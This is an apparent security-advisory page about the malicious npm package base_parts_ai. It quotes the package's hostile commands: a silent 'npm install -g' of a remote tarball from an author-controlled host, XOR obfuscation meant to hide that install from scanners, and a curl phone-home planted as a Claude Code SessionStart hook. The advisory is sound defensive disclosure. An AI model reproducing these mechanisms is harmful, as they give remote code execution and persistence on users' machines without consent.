Malicious code in base_parts_ai (npm)
Severity and exploitation
KEV coverage does not rule out exploitation.
Severity
unknownCVSS measures technical severity, not the likelihood of an attack.
Known exploitation
KEV status unavailable or stale
Absence from CISA KEV does not rule out attacks.
Public exploit
Not established by this record
Missing evidence does not mean no public exploit exists.
Remediation
Fix status not established
No structured fix or guidance is available here. Check the latest publisher advisory.
What this means
--- _-= Per source details. Do not edit below this line.=-_
Source excerpt · OSVAttack conditions
No attack-condition excerpt has been identified here. Review the full source description and references for authentication, network access, and configuration requirements.
Review supporting sources →Affected versions
Check the exact model, release, and any platform requirements against your installation.
Packages
Compare each installed version with the publisher’s affected ranges. Where a fix is recorded, choose the appropriate release branch and test compatibility before upgrading.
Read the explicit versions or original source for affected-version evidence.
Version evidence: OSV · MAL-2026-6228
View original version evidence (4 explicit versions)
What to do
Compare your installed product and version with the affected versions above. A matching product name alone does not confirm exposure.
No structured fix or remediation guidance is available here. Check the full source description and vendor’s latest advisory for a patch or workaround; do not assume another version is safe.
cve.new guidance unless attributed to a publisher. This page does not inspect your installation.
Public exploit evidence
No public exploit reference is identified in the imported evidence. This is not a claim that no exploit exists.
Original source description
Read the full publisher description
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (40d21c9d5a6b5da4ede94075ed2f4dde196fab0a47be0b2908993d5a24519417)
On every invocation of the package's CLIs (jcc/jcx/ucx/jgrok and related entry points), lib/ai_utils.js fetches a JSON config from https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg and reads a server-supplied newVer field. When newVer is greater than the installed version, the code builds a tarball URL of the form https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz and passes it to pkgCmd.execGlobalCmd, which runs npm install -g <tgz-url> --registry=https://registry.npmmirror.com --force. The user confirmation prompt is commented out and the confirmed flag is hardcoded to "yes", so the global install proceeds without interaction. The update source is not the npm registry — it is a mutable author-controlled Aliyun OSS object whose contents can be changed server-side at any time with no registry review, no version pinning, and no hash or signature check. lib/pkg_cmd.js additionally constructs the strings 'npm install', '--registry=', and '--force' at runtime by XOR-decoding (String.fromCharCode(b ^ 0x5A)) hardcoded byte arrays rather than storing the commands as plain literals, concealing the install mechanism from static scanners. Running any CLI from this package therefore causes global installation of whatever bytes the author (or anyone who compromises jai.jaskle.cn or the jdwfiles Aliyun OSS bucket) serves at that URL at that moment, yielding arbitrary code execution on the installer's machine.
References
4 sourcesInside the record
Evidence available
Describes the evidence in this view, not whether the product is safe.
Original records
No official CVE record has been imported. Use the source links below for the original advisory.
cve.new JSON →Timeline
All times UTCAdvisory published
Publication date supplied by the source.
Source updated
Latest modification date supplied by the source.
Last imported by cve.new
Latest catalog import, not the date we first saw this advisory.
What changed
Follow changes- OSV · MAL-2026-6228
Observed 2026-11-23T00:50:42.153Z · upstream updated 2026-11-23T00:45:04.338Z
Description revised
before
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (07b0e2bcf47f6720470181fe18dda70621d52a4fb65fec395a87e14ec39c5219) When a user runs the package's `jcc` or `jcx` CLI, lib/ai_utils.js polls https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg for a `newVer` value and, if it differs from the installed version, executes `npm install -g https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz --force --registry=https://registry.npmmirror.com` with no hash or signature verification. The interactive confirmation prompt has been commented out and the `confirmed` variable is hardcoded to `"yes"`, so the global install runs unattended. The tarball is served from a different domain (Aliyun OSS) than the version manifest, and either endpoint — or a compromise of either — can push arbitrary code globally to every CLI user. Separately, the package's `setapi_cc` flow writes a persistent `SessionStart` hook into `~/.claude/settings.json` that runs `curl -s -m 5 https://jai.jaskle.cn/hm/pub/ai_tip?cli=cc-<os>_<arch>` on every Claude Code session start, establishing a phone-home channel keyed to the publisher domain. Note: `package.json` declares `scripts.__postinstall` (double underscore), which npm does not recognize, and `main.js` is a no-op — there is no automatic execution on `npm install` or `require()`. The auto-update channel fires when the user invokes the documented CLI, which is the package's primary advertised use.
after
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (40d21c9d5a6b5da4ede94075ed2f4dde196fab0a47be0b2908993d5a24519417) On every invocation of the package's CLIs (jcc/jcx/ucx/jgrok and related entry points), lib/ai_utils.js fetches a JSON config from https://jai.jaskle.cn/hm/hm_pub/ai_cc_cfg and reads a server-supplied newVer field. When newVer is greater than the installed version, the code builds a tarball URL of the form https://jdwfiles.oss-cn-hangzhou.aliyuncs.com/npm_pkg/base_parts_ai-<newVer>.tgz and passes it to pkgCmd.execGlobalCmd, which runs `npm install -g <tgz-url> --registry=https://registry.npmmirror.com --force`. The user confirmation prompt is commented out and the confirmed flag is hardcoded to "yes", so the global install proceeds without interaction. The update source is not the npm registry — it is a mutable author-controlled Aliyun OSS object whose contents can be changed server-side at any time with no registry review, no version pinning, and no hash or signature check. lib/pkg_cmd.js additionally constructs the strings 'npm install', '--registry=', and '--force' at runtime by XOR-decoding (String.fromCharCode(b ^ 0x5A)) hardcoded byte arrays rather than storing the commands as plain literals, concealing the install mechanism from static scanners. Running any CLI from this package therefore causes global installation of whatever bytes the author (or anyone who compromises jai.jaskle.cn or the jdwfiles Aliyun OSS bucket) serves at that URL at that moment, yielding arbitrary code execution on the installer's machine.
Package ranges changed
before
[ { "ecosystem": "npm", "name": "base_parts_ai", "sources": [ { "name": "OSV · MAL-2026-6228", "url": "https://osv.dev/vulnerability/MAL-2026-6228" } ], "ranges": [], "versions": [ "1.0.52", "1.0.50", "1.0.66" ], "fixed": [] } ]after
[ { "ecosystem": "npm", "name": "base_parts_ai", "sources": [ { "name": "OSV · MAL-2026-6228", "url": "https://osv.dev/vulnerability/MAL-2026-6228" } ], "ranges": [], "versions": [ "1.0.52", "1.0.50", "1.0.66", "1.0.67" ], "fixed": [] } ]References changed
before
[ "https://www.npmjs.com/package/base_parts_ai/v/1.0.52", "https://www.npmjs.com/package/base_parts_ai/v/1.0.50", "https://www.npmjs.com/package/base_parts_ai/v/1.0.66" ]
after
[ "https://www.npmjs.com/package/base_parts_ai/v/1.0.52", "https://www.npmjs.com/package/base_parts_ai/v/1.0.50", "https://www.npmjs.com/package/base_parts_ai/v/1.0.66", "https://www.npmjs.com/package/base_parts_ai/v/1.0.67" ]
Large field values are marked as truncated previews. Original source snapshots remain retained.
Showing up to 50 most recent observed changes.